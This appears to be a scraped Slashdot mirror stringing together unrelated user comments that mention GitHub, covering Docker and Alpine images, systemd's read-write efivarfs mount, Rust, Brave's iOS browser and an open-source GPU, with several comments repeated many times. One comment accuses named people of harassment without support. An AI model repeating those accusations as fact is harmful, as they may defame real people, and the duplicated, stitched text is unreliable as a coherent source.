Slashdot Mirror

While the iron.io folks do manage to squeeze the size down, they do so through the use of Alpine Linux which uses musl libs rather than glibc and friends. There is a post on hackernews https://news.ycombinator.com/i... that has a discussion about the pros and cons of using an alpine based image.

There is also the deviation from upstream. The official images are a curated set of images and can be maintained by anyone willing to put in the time. For the official images that are not maintained by the upstream project (many of them are), they try to stay as close to upstream recommended build as possible. In fact, the official image gatekeepers recommend talking with upstream before trying to make your own submission to official images so that they can be as involved as they want to be. What this means is that if upstream maintains their own apt repo, that is how it is built into the image, but if upstream does not even release binaries (ie only the source tar) then building from source is they way it is packaged making sure to slim out build dependencies.

There is also some recent focus by Docker Inc to add Alpine based variants to the official images as an option for those that want a slimmer environment (see https://github.com/docker-libr... and other PRs by ncopa). There is even a description on the Docker Hub when an official image has an alpine variant (see https://hub.docker.com/_/ruby/ and https://github.com/docker-libr... which is the source of the Docker Hub version).

Note on the large size of most of the language images from the official images: "It, by design, has a large number of extremely common Debian packages. This reduces the number of packages that images that derive from it need to install, thus reducing the overall size of all images on your system." They are usually built from the "buildpack-deps" image: " It includes a large number of "development header" packages needed by various things like Ruby Gems, PyPI modules, etc." (https://hub.docker.com/_/buildpack-deps/).

(yes, I am one of the gatekeepers for official images, https://github.com/docker-libr...)

For more information:
  - https://docs.docker.com/docker...
  - https://github.com/docker-libr...
  - https://github.com/docker-libr...

While the iron.io folks do manage to squeeze the size down, they do so through the use of Alpine Linux which uses musl libs rather than glibc and friends. There is a post on hackernews https://news.ycombinator.com/i... that has a discussion about the pros and cons of using an alpine based image.

There is also the deviation from upstream. The official images are a curated set of images and can be maintained by anyone willing to put in the time. For the official images that are not maintained by the upstream project (many of them are), they try to stay as close to upstream recommended build as possible. In fact, the official image gatekeepers recommend talking with upstream before trying to make your own submission to official images so that they can be as involved as they want to be. What this means is that if upstream maintains their own apt repo, that is how it is built into the image, but if upstream does not even release binaries (ie only the source tar) then building from source is they way it is packaged making sure to slim out build dependencies.

There is also some recent focus by Docker Inc to add Alpine based variants to the official images as an option for those that want a slimmer environment (see https://github.com/docker-libr... and other PRs by ncopa). There is even a description on the Docker Hub when an official image has an alpine variant (see https://hub.docker.com/_/ruby/ and https://github.com/docker-libr... which is the source of the Docker Hub version).

Note on the large size of most of the language images from the official images: "It, by design, has a large number of extremely common Debian packages. This reduces the number of packages that images that derive from it need to install, thus reducing the overall size of all images on your system." They are usually built from the "buildpack-deps" image: " It includes a large number of "development header" packages needed by various things like Ruby Gems, PyPI modules, etc." (https://hub.docker.com/_/buildpack-deps/).

(yes, I am one of the gatekeepers for official images, https://github.com/docker-libr...)

For more information:
  - https://docs.docker.com/docker...
  - https://github.com/docker-libr...
  - https://github.com/docker-libr...

While the iron.io folks do manage to squeeze the size down, they do so through the use of Alpine Linux which uses musl libs rather than glibc and friends. There is a post on hackernews https://news.ycombinator.com/i... that has a discussion about the pros and cons of using an alpine based image.

There is also the deviation from upstream. The official images are a curated set of images and can be maintained by anyone willing to put in the time. For the official images that are not maintained by the upstream project (many of them are), they try to stay as close to upstream recommended build as possible. In fact, the official image gatekeepers recommend talking with upstream before trying to make your own submission to official images so that they can be as involved as they want to be. What this means is that if upstream maintains their own apt repo, that is how it is built into the image, but if upstream does not even release binaries (ie only the source tar) then building from source is they way it is packaged making sure to slim out build dependencies.

There is also some recent focus by Docker Inc to add Alpine based variants to the official images as an option for those that want a slimmer environment (see https://github.com/docker-libr... and other PRs by ncopa). There is even a description on the Docker Hub when an official image has an alpine variant (see https://hub.docker.com/_/ruby/ and https://github.com/docker-libr... which is the source of the Docker Hub version).

Note on the large size of most of the language images from the official images: "It, by design, has a large number of extremely common Debian packages. This reduces the number of packages that images that derive from it need to install, thus reducing the overall size of all images on your system." They are usually built from the "buildpack-deps" image: " It includes a large number of "development header" packages needed by various things like Ruby Gems, PyPI modules, etc." (https://hub.docker.com/_/buildpack-deps/).

(yes, I am one of the gatekeepers for official images, https://github.com/docker-libr...)

For more information:
  - https://docs.docker.com/docker...
  - https://github.com/docker-libr...
  - https://github.com/docker-libr...

While the iron.io folks do manage to squeeze the size down, they do so through the use of Alpine Linux which uses musl libs rather than glibc and friends. There is a post on hackernews https://news.ycombinator.com/i... that has a discussion about the pros and cons of using an alpine based image.

There is also the deviation from upstream. The official images are a curated set of images and can be maintained by anyone willing to put in the time. For the official images that are not maintained by the upstream project (many of them are), they try to stay as close to upstream recommended build as possible. In fact, the official image gatekeepers recommend talking with upstream before trying to make your own submission to official images so that they can be as involved as they want to be. What this means is that if upstream maintains their own apt repo, that is how it is built into the image, but if upstream does not even release binaries (ie only the source tar) then building from source is they way it is packaged making sure to slim out build dependencies.

There is also some recent focus by Docker Inc to add Alpine based variants to the official images as an option for those that want a slimmer environment (see https://github.com/docker-libr... and other PRs by ncopa). There is even a description on the Docker Hub when an official image has an alpine variant (see https://hub.docker.com/_/ruby/ and https://github.com/docker-libr... which is the source of the Docker Hub version).

Note on the large size of most of the language images from the official images: "It, by design, has a large number of extremely common Debian packages. This reduces the number of packages that images that derive from it need to install, thus reducing the overall size of all images on your system." They are usually built from the "buildpack-deps" image: " It includes a large number of "development header" packages needed by various things like Ruby Gems, PyPI modules, etc." (https://hub.docker.com/_/buildpack-deps/).

(yes, I am one of the gatekeepers for official images, https://github.com/docker-libr...)

For more information:
  - https://docs.docker.com/docker...
  - https://github.com/docker-libr...
  - https://github.com/docker-libr...

And having now read TFS, I sheepishly rescind my previous post... This is the Prime photos thing, not the actual Cloud Drive storage thing. Previous post applies to Cloud Drive Unlimited. Yes, storing unlimited data for the photos only service is being a dick. Shell out the $60/year.

(And if you do, pushing ZFS backups into it is a thing I'm working on... zfs-acd-backup)

There was a similar tool, featured on a site that shall not be named, that did this last year: https://github.com/tylerpitchf... . It chopped files and directories into user defined bitmaps according to the write up. Made for Google, but worked for Amazon too apparently according to the write up from the article. https://www.linkedin.com/pulse...

Their github lists Perl but not C++?????

The iron.io image is based on the alpine linux base image. Their "hack" doesn't seem to be subtracting anything, they're adding runtimes for common languages to alpine linux, which is responsible for the space savings. Not that their collection of Dockerfiles isn't pretty cool, the title is just misleading. You probably don't need anything beyond alpine base to deploy c++, besides any specific libs you link to, but you can probably find apk's for those in the alpine repos. Or you can just do what someone else suggested and build static binaries and copy those over.

Their github lists Perl but not C++?????

On the "Torrents Time" github location all I see is an "embed" project that's essentially a JS snippet.
https://github.com/torrentsTim...
https://github.com/torrentsTim...

Where's the source code for:
https://cdn.torrents-time.com/...
https://cdn.torrents-time.com/...
?

On the "Torrents Time" github location all I see is an "embed" project that's essentially a JS snippet.
https://github.com/torrentsTim...
https://github.com/torrentsTim...

Where's the source code for:
https://cdn.torrents-time.com/...
https://cdn.torrents-time.com/...
?

I've enjoyed these over the years. My personal favorite was the "English to Pig Latin" translator whose source code looked like ASCII Art for a pig.

But really, if you can do stuff like that, you can do pretty much anything. So what's the point, really? Where's the challenge?

A much more interesting contest would be to write C code that's simple and understandable. Yes, I said it, simple and understandable and in C. There's a challenge to bend the minds of the world's greatest programmers.

The problem is actually two fold, I agree with you that people confuse free speech with it being ok to be intentionally offensive. But the other side of the coin is people feel they have a right to a "safe space" and should never have to see/hear anything that's only offensive to them personally, then going after people that fall somewhere in between for not complying 100%.

The issue with the CoCs that have been being forced lately is a result of people wanting tools in place to go after those that disagree ideologically and/or politically with issues that aren't even part of a dev project. See the Opal disaster the AC below linked. It's incredibly underhanded because the communities don't even get a chance to have a say. The CoC is introduced, discussed and merged into a project in less than a day before anyone, that doesn't know it's being talked about, can have any input.

This plays into fears the "SJWs" are coming, which fuels the the freeze peachers into asserting they still have support. Us moderates in the middle are just like, "why do I have to pick one or the other?"

I fully support people's right to say what they want, but also agree that needs to be tempered with some common sense. If you act like an asshole people aren't going to want to deal with you, and you can't force them too.

I have no issue with a CoC, but why are they even necessary? Can't we just look at someone that's being an ass on a project and all agree they're being an ass and we don't want to work with them? Or if you're an individual that doesn't get along with someone, just don't work with them? It feels like people are only pushing CoCs so they, as an individual, can personally decide who to oust. Even if no one else sees an issue with the person being attacked. The CoC just puts tools on the table so the first one to accuse wins, that's kind of the opposite of a safe space. What's worse is when you look at the people proposing the CoCs THEY ARE THE ABUSERS! They're the worse people to be arguing for tools to hold people responsible for actions outside of dev projects. Hell just look up "Coraline Ada" who after pushing the CoC for the Opal project went to twitter to drum up a mob of people to attack the project to force them into accepting her CoC or "Randi Harper" (FreeBSD) who harassed Roberto Rosario out his board position with the IGDA and then proceeded to harass members of the FreeBSD community after pushing to have a CoC along with many other people. She harasses ANNE QUEEN OF VAMPIRES RICE for god's sake.

TL;DR - People on both sides, overly offensive and overly offended, are a menaces and justify then feed each others existence.

Last summer I wrote a python opencv program for a Raspberry Pi computer and Pi camera module. This monitors in real time. It has a lower fps due the hardware capability but does work Ok when calibrated for the distance. Here is my YouTube video https://youtu.be/eRi50BbJUro github repo is here https://github.com/pageauc/mot.... This was just done for fun after reading a forum article on the subject.

It's a systemd problem because of the defaults that it sets, not because of the buggy implementation.

Y'all are missing the point. There's no good reason for the init system to try to rewrite EFI variables, hence no reason for the init system to force mount efivarsfs into r/w mode. It's an unsafe default and there's absolutely NO reason for an init system to have a care (or a say) about the local policy one might adopt or prefer in dealing with that issue.

The systemd developers have decided to adopt the kitchen sink approach and consume other utilities and processes within the boot system. With the default action here present at https://github.com/systemd/systemd/blob/master/src/core/mount-setup.c#L110 systemd is now involved in complaints about exposing an unsafe mount point by default, and flippantly closing it WONTFIX.

In fact you are right. From the swift-evolution repo:

Swift 3.0 will not provide full source compatibility. Rather, it can and will introduce source-breaking changes needed to support the main goals of Swift 3.0.

I have reasonable posting history, but if that's not enough for you, then you might prefer a link to their source repository, which in turn links out to their production instance at threatbutt.com.

But in my opinion, it's their attribution map that's truly la crème de la crème.

Mounting UEFI variables as read only breaks things too. How will you get rid of that problem once you get rid of systemd? Or is everything systemd's fault by default now?

It's not systemd's fault that the kernel allows access to UEFI variables; it's systemd's fault for mounting those variables in a read/write mode by default and closing the bug WONTFIX because LP didn't think it was a problem. systemd now controls that default, not the distributions, not the writer of the `mount` program, not the initscripts package (on RedHat)... and even /etc/fstab is considered more like a guideline than a rule for systemd to interpret.

As I wrote in a post on that Github bug report that the Great And Powerful Lennart saw fit to remove:

If the authors of systemd didn't want to have to be smack in the [middle] of issues caused by disk mounts, perhaps they shouldn't have assumed disk mounting duties from other projects... nor advocated the removal of the easily adjustable init script which controlled them.

Just a thought.

And furthermore, systemd is keeping it R/W because it's a apparently feature not a bug:

We actually write to the EFI fs in systemd. Specifically, when you issue "systemctl reboot --firmware" we'll set the appropriate EFI variable, to ask for booting into the EFI firmware setup. And because we need it writable we'll mount it writable for that.

Thanks, systemd. This is now the time to point out that /sbin/init didn't need to do sh*t like "boot into the EFI firmware setup" and this is exactly why people with concerns about systemd say that it's doing too much. Putting systemd (either pid1 and/or the package into the whole) in the loop is not necessary and is not a paradigm anyone ever asked for... except the freedesktop.org crowd, and Lennart himself.

Mounting UEFI variables as read only breaks things too. How will you get rid of that problem once you get rid of systemd? Or is everything systemd's fault by default now?

It's not systemd's fault that the kernel allows access to UEFI variables; it's systemd's fault for mounting those variables in a read/write mode by default and closing the bug WONTFIX because LP didn't think it was a problem. systemd now controls that default, not the distributions, not the writer of the `mount` program, not the initscripts package (on RedHat)... and even /etc/fstab is considered more like a guideline than a rule for systemd to interpret.

As I wrote in a post on that Github bug report that the Great And Powerful Lennart saw fit to remove:

If the authors of systemd didn't want to have to be smack in the [middle] of issues caused by disk mounts, perhaps they shouldn't have assumed disk mounting duties from other projects... nor advocated the removal of the easily adjustable init script which controlled them.

Just a thought.

And furthermore, systemd is keeping it R/W because it's a apparently feature not a bug:

We actually write to the EFI fs in systemd. Specifically, when you issue "systemctl reboot --firmware" we'll set the appropriate EFI variable, to ask for booting into the EFI firmware setup. And because we need it writable we'll mount it writable for that.

Thanks, systemd. This is now the time to point out that /sbin/init didn't need to do sh*t like "boot into the EFI firmware setup" and this is exactly why people with concerns about systemd say that it's doing too much. Putting systemd (either pid1 and/or the package into the whole) in the loop is not necessary and is not a paradigm anyone ever asked for... except the freedesktop.org crowd, and Lennart himself.

You also need the "--no-preserve-root" and to have a buggy motherboard UEFI implementation. The problem is that deleting stuff in /sys/firmware/efi/efivars resets some variables in the UEFI. If the implementation follows the spec then that is like doing a factory reset on your motherboard. For some poor hardware they fail to boot after this. The kernel already has some protection for some bad hardware, more will be added shortly ( https://gist.github.com/mjg59/... ).

Yes, you can most certainly mount ext4 under Minix, just use ext4fuse since Minix 3 now supports FUSE.

Hell, Minix 3 already sports some binary compatibility with NetBSD...

The Let's Encrypt project will work just fine with Windows servers. You just need a compatible ACME client, and there are a few options available:

ACMESharp

letsencrypt-win-simple

The Let's Encrypt project will work just fine with Windows servers. You just need a compatible ACME client, and there are a few options available:

ACMESharp

letsencrypt-win-simple

Yep, been doing that for a while with GNU Radio, gr-dsd with USRP. I may get an Airspy just so I can use Unitrunker on Windows (without using the RTL dongles). Still really isn't a good digital scanning solution for SDR, although I wrote one for NBFM and AM: https://github.com/madengr/ham...

Good. That deserves to be on the front page, at least once you've got a solid plan for how you are going to fix it.

Github is the obvious competitor you have to beat, or at least distinguish yourself from. If you're going to focus on source control you have to beat github on features. Make it easy for people to contribute to projects, while also respecting the contribution rules of that project.

My suggestion would be to focus on the things that github doesn't do. If you want to be a trusted place for downloading software, help us to trust the integrity of the binaries you are hosting. Host build & test servers that can be used to produce repeatable builds.

Computers have beaten higher-ranked players (Catalin Taranu, 5-p) on the 9x9 board. Computer go is nowhere near computer chess where humans cannot stand a chance against the top engines like Komodo, which is rated over 3300 ELO.

I cannot help but notice that Google are advertising their AI system, after IBM pushed Watson for years, and Microsoft have recently open-sourced their system:
https://github.com/Microsoft/CNTK/

I am curious though about the result against a 9-dan pro, and what will such a player say about the way the engine plays.

...all the OS/2 related apps source code that I have uploaded.. people are just spamming github to get it. https://github.com/os2world

I agree. Consider him to be advanced for is age and treat him like that in the aera of advancement, but don't forget his also a kid. Also just today on another website I ran into this book https://github.com/SquareBrack... maybe it's something to look at maybe not.

And, as I said, https://github.com/torvalds/li... is a perfectly acceptable location for the kernel source. If you respond to their written offer and they point you there then that is perfectly fine.

but you'll have to take their word on it

No, you can view the source... All of it... Both client and server side.

https://github.com/mozilla-ser...
If I'm not mistaken... There a lot of mozilla projects, but this one seems recent.

there needs to be a way to disable this service entirely.

At least look up about.config before complaining, it's right in there under "dom.push.enabled".

But really, I don't see the point...

I was not aware of that program. I would like to offer a python alternative, a set of number theory functions written by Wm Stein. You can find a copy on github:
https://github.com/LizardM4/Py...

I would argue that seeing how these are computed using fairly short python code gives an appreciation for how things happen. For example, you can see that factor can be implemented using a few lines of python:

def factor(n): ... comments were here
        if n in [-1, 0, 1]: return []
        if n < 0: n = -n
        F = []
        while n != 1:
                p = trial_division(n)
                e = 1
                n /= p
                while n%p == 0:
                        e += 1; n /= p
                F.append((p,e))
        F.sort()
        return F

And would also introduce him to the projecteuler.net to practice coding and direct his energy. And the greatest gift is your time and devotion-- can't put a price on that.

I mostly use the exact setup you're talking about. I can't really speak to the "teamwork" aspects; for that I generally use CollabEdit, which is simpler for one-off collaboration. I got a Chromebook because I was planning on being in fairly impoverished areas in Central America for months or years, and I wanted a laptop that I was not going to worry about breaking. It works pretty well, all things considered. It's relatively simple to install a 'real' linux distro via crouton and get access to all the normal linux goodies. One specific advantage to ChromeOS is that it keeps track of what apps you have installed, and if you ever have to replace the unit, you can just sit at the new one, type your login info, and in about two minutes the new machine will have exactly the same stuff the old one did.

Having your development tools/files in the cloud means that they are inaccessible to you without an Internet connection, however, you don't need much of a net connection to be able to work: for Cloud9 there's an initial download of I believe about 1 MB for the editor, and actually editing code is possible down to a hundred bytes per second. Creating a local repo from a GitHub or Bitbucket repository is very simple, and each coding workspace gets its own little virtual machine, so you can install gems, run tests, and do anything you'd normally do. It also saves process state, so you can start (e.g.) pry, fool around with the interpreter, close the window, and the next time you start, pry will still be running. It actually saves quite a few brain cycles: you have less effort to figure out what you were doing the last time. Code completion and refactoring support exists, but is not what you would call world-class, more like SublimeEdit than intellij.

I have been using cloud9, but I have shopped around for various online editors at times, and so far I have not found any particularly compelling reasons to switch. I do not miss setting up a new chroot or container for a new project, or worrying about syncing code between workstations. Also note that there are online IDEs which can be run on your own private server (Cloud9 among them), for a hybrid approach, and of course there's nothing wrong with emacs over ssh if it comes down to it. At this point I doubt I would go back to a "real" IDE unless required to by an employer.

Actually, it probably *won't* be pushed to the LTS if it did not come with the LTS. However, AFAIK, the mainline kernel PPA isn't maintained any more and they're provided in .DEB format here:

http://kernel.ubuntu.com/~kern...

I guess it's more accurate to say that AFAIK it's not quite the same as the regular PPA functionality. It is, in the URL, still listed as a PPA but I don't think it functions like one any more. I could be mistaken and I'm, by no means, a guru.

I have come across this:
https://github.com/GM-Script-W...

That's supposed to check for an updated kernel after login and automatically. I don't think I'd want that. I'd disable that feature and use it's other feature which allows you to check/upgrade manually. Seriously, unless there's a reason to use it - there's often no real rush to upgrade to the latest and greatest kernel. The LTS will be getting the security updates for the duration of its support lifecycle and, if it works, there's probably no benefit to be had by upgrading for the *average* user. It is, of course, still possible - the easiest method being at the first link. You can edit out the end of the URL and be find the non-daily builds as well, so you can use that to find a specific kernel if you need something more specific than the daily or latest.

Caveat: I am, by no means, to be considered an expert. Verify any and all things I say/suggest by using other sources as needed. Not only am I not responsible if you hose your system, I'm probably not willing to come to your house and fix it. Meh, I might if you're local but chances are REALLY good that you know more about it than I do. While I am, technically, on the Lubuntu maintenance team that's purely by accident and I've done absolutely nothing but read the mailing list - I signed up by accident and someone decided to accept my application - I assume they'll let anyone join. As I have access to a great deal of hardware, I should probably learn a bit and, maybe, offer up a few build boxes/test systems. I just don't feel comfortable offering until I know more and I probably won't know more until I offer and then get taught so it's a bit of a chicken and egg thing.

How the hell can I trust Mozilla and Firefox after this debacle?

You can't, like many other people can't trust them either. And that's one of the continuing reasons that their market share is declining. Though one of the ex-CEO's chased off by regressive whiners over their private decisions, is making a new browser that looks good. Though we'll have to see if that's the case in a few months or not. Source is here of course.

For a community that's so focused on "diversity", why are nearly all of the Rust contributors white males?

Why aren't at least 50% of the contributors females?

Why don't see more races represented within the pool of contributors?

The Rust home page makes it sound like Rust is some sort of a panacea. It leads one to believe that they'll get the power of C++, but with greater "safety".

But the more I look into Rust, the more uneasy I start to feel.

Despite all of the claims about how Rust is safer and leads to better code, the Rust compiler and standard library, both of which are implemented in Rust, are full of bugs! Don't forget that this is Rust code written by people who ought to know Rust better than anyone else; they designed the language after all! If they can't write non-buggy Rust code, then we shouldn't expect less-talented Rust users to be able to do any better.

It's also a big problem that there's only one implementation. If you run into a bug with it, and they don't fix it promptly, then you're likely fucked. At least with C++ there are multiple high quality implementations from different vendors. You can use GCC and Clang on most platforms. Then there are other systems like Intel C++, MSVC++, and so forth. You aren't left at the mercy of a single implementation when you use C++.

The syntax of Rust is unremarkable. It's like a bad version of C++ in many ways. Its resource management approach is also inflexible and impractical, despite the claims that it's one of Rust's most significant benefits. You're typically better off using modern C++ techniques. You'll get just about the same amount of safety, but with much fewer headaches. Even C++'s standard library, which is not known for being very good, is often better than Rust's.

It took them forever to get Rust 1.0 released. They were constantly changing their mind about anything and everything. While some evolution of a programming language is to be expected, all we saw from them was spastic thrashing about. It got so bad that you couldn't write code on a Monday and reliably have it compile by the following Friday! The fact that it took libcore up until release 1.6 to "stabilize" just goes to show how bad things were. The supposed "stable" release was full of non-stable interfaces!

The Rust community gives me a particularly bad feeling. They're rather tyrannical about enforcing their code of conduct. They even have a moderation attack squad to go after anyone they deem to be an enemy! I've never seen this kind of orchestrated control exerted over the community of any other programming language. This sets off warning alarms for me.

There's no reason to use Rust, in my opinion. You're better off with C++, or D, or Java, or Scala, or C#, or Go, or Swift, or one of the many other non-Rust languages out there. The language isn't very good, the standard libraries aren't very good, there's only one implementation, and the attitude of the community is downright frightening. I think you're better off not using Rust.

Except that, oddly enough, Brave's iOS browser is based on Firefox iOS. Brave is open source (well, its browsers are, I doubt its servers will be where they'll be serving users ads from) and you can check their iOS source at GitHub.

I thought this quote interesting. Former Mozilla CTO Andreas Gal: "Brave for iOS seems to be a fork of Firefox for iOS, but it manages to block ads (Mozilla says they can’t)." Link

So either Mozilla has some reason (e.g. agreement) not to block ads on iOS, or they couldn't figure out how to. If the former, they should be called out for being deceptive. If the latter, they can use the power of open source and learn how Brave blocks ads and then do so themselves. Unless Brave is doing something like Opera Mini, where webpages are proxied through Brave's servers where they can be manipulated before being sent on to the user. Which seems bad for a privacy-vaunting browser to do.

I don't have any iOS devices so I don't really care in that regard (other than my general concern for well-being of others, as far as that goes). I also don't agree with Brave's initial premise that the web must be supported by either subscriptions or ads. I think a sizable chunk of the web can be funded by the person or organization hosting the content. Hosting is cheap. What's really being talked about is revenue generation. But as others have pointed out, a fair number of people like sharing information and will do so without a profit motive. People have been sharing and talking freely for decades; I don't see that going away. If you're interested in revenue generation, create a business plan. Alternatively, look into and push for a basic income. A basic income may be a great way to support hobbyists of all sorts. Anyway, I just don't buy that the web solely relies on subscriptions and ads. Individuals and companies can use their independent revenue streams as well, and the world won't end.

Uh, my overall point being Firefox iOS is apparently good enough to use as their base. So good for Mozilla there. I've used Firefox for Android and it's pretty good (yay NoScript), but holy hell looking at its source code makes me want to weep. I built it just to mess around with it, but it's a confusing mess of native code with a whole lot of javascript. Firefox iOS's code makes a lot more sense to me (and I've never used Swift).

I googled this and found this from an OGML discussion going on about this GPU. There are some screenshots and even a youtube video.

Since 2010, Jeff Bush (github, blog) has been working on an Apache-licensed open source GPU (github, home page, wiki), and he has a few other interesting github projects as well (link, link, link). The Nyuzi Processor is a fully functional GPU. It is written in synthesizable Verilog, has a functional compiler toolchain, and comes with test suites, benchmarks, the software component of 3D rendering engine, and more. Its development has been gaining momentum in discussions (link, link, Google Group) and coding projects (gsoc). It has been implemented on an Altera FPGA, and there are some videos online of it animating a rotating teapot and a Phong-shaded torus, along with the results of recently-added mipmap support. Recently, Jeff Bush got together with the founder of the Open Graphics Project, and they co-wrote a peer-reviewed publication about this GPU and some experiments they did, which was recently presented at a well-respected academic CS conference (ISPASS). Although its developer and other hobbyists are doing this for fun, academics and engineers who specialize in GPU architecture are already showing interest in using Nyuzi for their own research (e.g. link, link), which gives them finally an open platform to estimate not just cycle count but also clock frequency, energy, and circuit area effects of GPU design experiments.

I googled this and found this from an OGML discussion going on about this GPU. There are some screenshots and even a youtube video.

Since 2010, Jeff Bush (github, blog) has been working on an Apache-licensed open source GPU (github, home page, wiki), and he has a few other interesting github projects as well (link, link, link). The Nyuzi Processor is a fully functional GPU. It is written in synthesizable Verilog, has a functional compiler toolchain, and comes with test suites, benchmarks, the software component of 3D rendering engine, and more. Its development has been gaining momentum in discussions (link, link, Google Group) and coding projects (gsoc). It has been implemented on an Altera FPGA, and there are some videos online of it animating a rotating teapot and a Phong-shaded torus, along with the results of recently-added mipmap support. Recently, Jeff Bush got together with the founder of the Open Graphics Project, and they co-wrote a peer-reviewed publication about this GPU and some experiments they did, which was recently presented at a well-respected academic CS conference (ISPASS). Although its developer and other hobbyists are doing this for fun, academics and engineers who specialize in GPU architecture are already showing interest in using Nyuzi for their own research (e.g. link, link), which gives them finally an open platform to estimate not just cycle count but also clock frequency, energy, and circuit area effects of GPU design experiments.

I googled this and found this from an OGML discussion going on about this GPU. There are some screenshots and even a youtube video.

Since 2010, Jeff Bush (github, blog) has been working on an Apache-licensed open source GPU (github, home page, wiki), and he has a few other interesting github projects as well (link, link, link). The Nyuzi Processor is a fully functional GPU. It is written in synthesizable Verilog, has a functional compiler toolchain, and comes with test suites, benchmarks, the software component of 3D rendering engine, and more. Its development has been gaining momentum in discussions (link, link, Google Group) and coding projects (gsoc). It has been implemented on an Altera FPGA, and there are some videos online of it animating a rotating teapot and a Phong-shaded torus, along with the results of recently-added mipmap support. Recently, Jeff Bush got together with the founder of the Open Graphics Project, and they co-wrote a peer-reviewed publication about this GPU and some experiments they did, which was recently presented at a well-respected academic CS conference (ISPASS). Although its developer and other hobbyists are doing this for fun, academics and engineers who specialize in GPU architecture are already showing interest in using Nyuzi for their own research (e.g. link, link), which gives them finally an open platform to estimate not just cycle count but also clock frequency, energy, and circuit area effects of GPU design experiments.

I googled this and found this from an OGML discussion going on about this GPU. There are some screenshots and even a youtube video.

Since 2010, Jeff Bush (github, blog) has been working on an Apache-licensed open source GPU (github, home page, wiki), and he has a few other interesting github projects as well (link, link, link). The Nyuzi Processor is a fully functional GPU. It is written in synthesizable Verilog, has a functional compiler toolchain, and comes with test suites, benchmarks, the software component of 3D rendering engine, and more. Its development has been gaining momentum in discussions (link, link, Google Group) and coding projects (gsoc). It has been implemented on an Altera FPGA, and there are some videos online of it animating a rotating teapot and a Phong-shaded torus, along with the results of recently-added mipmap support. Recently, Jeff Bush got together with the founder of the Open Graphics Project, and they co-wrote a peer-reviewed publication about this GPU and some experiments they did, which was recently presented at a well-respected academic CS conference (ISPASS). Although its developer and other hobbyists are doing this for fun, academics and engineers who specialize in GPU architecture are already showing interest in using Nyuzi for their own research (e.g. link, link), which gives them finally an open platform to estimate not just cycle count but also clock frequency, energy, and circuit area effects of GPU design experiments.

I googled this and found this from an OGML discussion going on about this GPU. There are some screenshots and even a youtube video.

Since 2010, Jeff Bush (github, blog) has been working on an Apache-licensed open source GPU (github, home page, wiki), and he has a few other interesting github projects as well (link, link, link). The Nyuzi Processor is a fully functional GPU. It is written in synthesizable Verilog, has a functional compiler toolchain, and comes with test suites, benchmarks, the software component of 3D rendering engine, and more. Its development has been gaining momentum in discussions (link, link, Google Group) and coding projects (gsoc). It has been implemented on an Altera FPGA, and there are some videos online of it animating a rotating teapot and a Phong-shaded torus, along with the results of recently-added mipmap support. Recently, Jeff Bush got together with the founder of the Open Graphics Project, and they co-wrote a peer-reviewed publication about this GPU and some experiments they did, which was recently presented at a well-respected academic CS conference (ISPASS). Although its developer and other hobbyists are doing this for fun, academics and engineers who specialize in GPU architecture are already showing interest in using Nyuzi for their own research (e.g. link, link), which gives them finally an open platform to estimate not just cycle count but also clock frequency, energy, and circuit area effects of GPU design experiments.

I googled this and found this from an OGML discussion going on about this GPU. There are some screenshots and even a youtube video.

Since 2010, Jeff Bush (github, blog) has been working on an Apache-licensed open source GPU (github, home page, wiki), and he has a few other interesting github projects as well (link, link, link). The Nyuzi Processor is a fully functional GPU. It is written in synthesizable Verilog, has a functional compiler toolchain, and comes with test suites, benchmarks, the software component of 3D rendering engine, and more. Its development has been gaining momentum in discussions (link, link, Google Group) and coding projects (gsoc). It has been implemented on an Altera FPGA, and there are some videos online of it animating a rotating teapot and a Phong-shaded torus, along with the results of recently-added mipmap support. Recently, Jeff Bush got together with the founder of the Open Graphics Project, and they co-wrote a peer-reviewed publication about this GPU and some experiments they did, which was recently presented at a well-respected academic CS conference (ISPASS). Although its developer and other hobbyists are doing this for fun, academics and engineers who specialize in GPU architecture are already showing interest in using Nyuzi for their own research (e.g. link, link), which gives them finally an open platform to estimate not just cycle count but also clock frequency, energy, and circuit area effects of GPU design experiments.

I googled this and found this from an OGML discussion going on about this GPU. There are some screenshots and even a youtube video.

Since 2010, Jeff Bush (github, blog) has been working on an Apache-licensed open source GPU (github, home page, wiki), and he has a few other interesting github projects as well (link, link, link). The Nyuzi Processor is a fully functional GPU. It is written in synthesizable Verilog, has a functional compiler toolchain, and comes with test suites, benchmarks, the software component of 3D rendering engine, and more. Its development has been gaining momentum in discussions (link, link, Google Group) and coding projects (gsoc). It has been implemented on an Altera FPGA, and there are some videos online of it animating a rotating teapot and a Phong-shaded torus, along with the results of recently-added mipmap support. Recently, Jeff Bush got together with the founder of the Open Graphics Project, and they co-wrote a peer-reviewed publication about this GPU and some experiments they did, which was recently presented at a well-respected academic CS conference (ISPASS). Although its developer and other hobbyists are doing this for fun, academics and engineers who specialize in GPU architecture are already showing interest in using Nyuzi for their own research (e.g. link, link), which gives them finally an open platform to estimate not just cycle count but also clock frequency, energy, and circuit area effects of GPU design experiments.

Preface: I'm a mechanical engineer by trade. I went back and decided to audit some of my undergraduate classes to refresh my memory I realized there aren't any good 'toolboxes' for any of those classes. AeroPython is a good graduate level class for Aerodynamics-Hydrodynamics with Python but there's nothing more basic.

Last night I decided to cram Kindergarten -> Statics into one module just so that I could build on top of it for Mechanics of Materials.

It is in no way complete but it served a purpose, here's just an excerpt from what I threw together:

class Shape2D(object):
        def __init__(self,area=None,perimeter=None):
                self.area=area
                self.perimeter=perimeter
class Circle(Shape2D):
        # This could be a lot cleaner, but it works.
        def __init__(self,diameter=None,radius=None,area=None,circumference=None):
                # By doing this, we can define these as symbolic in the future.
                # aka, solve for the unknown.
                d, r, A, c = sympy.symbols("d r A c")
                circ_eqn1=sympy.Eq(2*r,d)
                circ_eqn2=sympy.Eq(pi*r**2,A)
                circ_eqn3=sympy.Eq(2*pi*r,c)

                if diameter is not None:
                        self.diameter=diameter
                        self.radius=sympy.solve(circ_eqn1.subs(d,diameter),r)[0]
                        self.area=sympy.solve(circ_eqn2.subs(r,self.radius),A)[0]
                        self.circumference=sympy.solve(circ_eqn3.subs(r,self.radius),c)[0]
                        return
        @property
        def I_0(self):
                return 1/4*pi*self.radius**4

However going forward I can define a circle and use it in anything I need. I can add a length and make it a tube. Revolve it and make it a sphere.

Don't teach them something completely foreign, have them make a module/class for something they know rather well and then as step 2 'automate' something about it, make it programmatic.

I wouldn't be all that surprised if the change in results and heart happened due to the Intel C Compiler, which is well-known to only execute SSE optimisations on 'GenuineIntel' CPUs.

(This has been happening with the release of ICC version 7, since 2003 or thereabouts if I'm not mistaken. And the page I just linked to says the newest version has disabled the crippling code. Hm.)

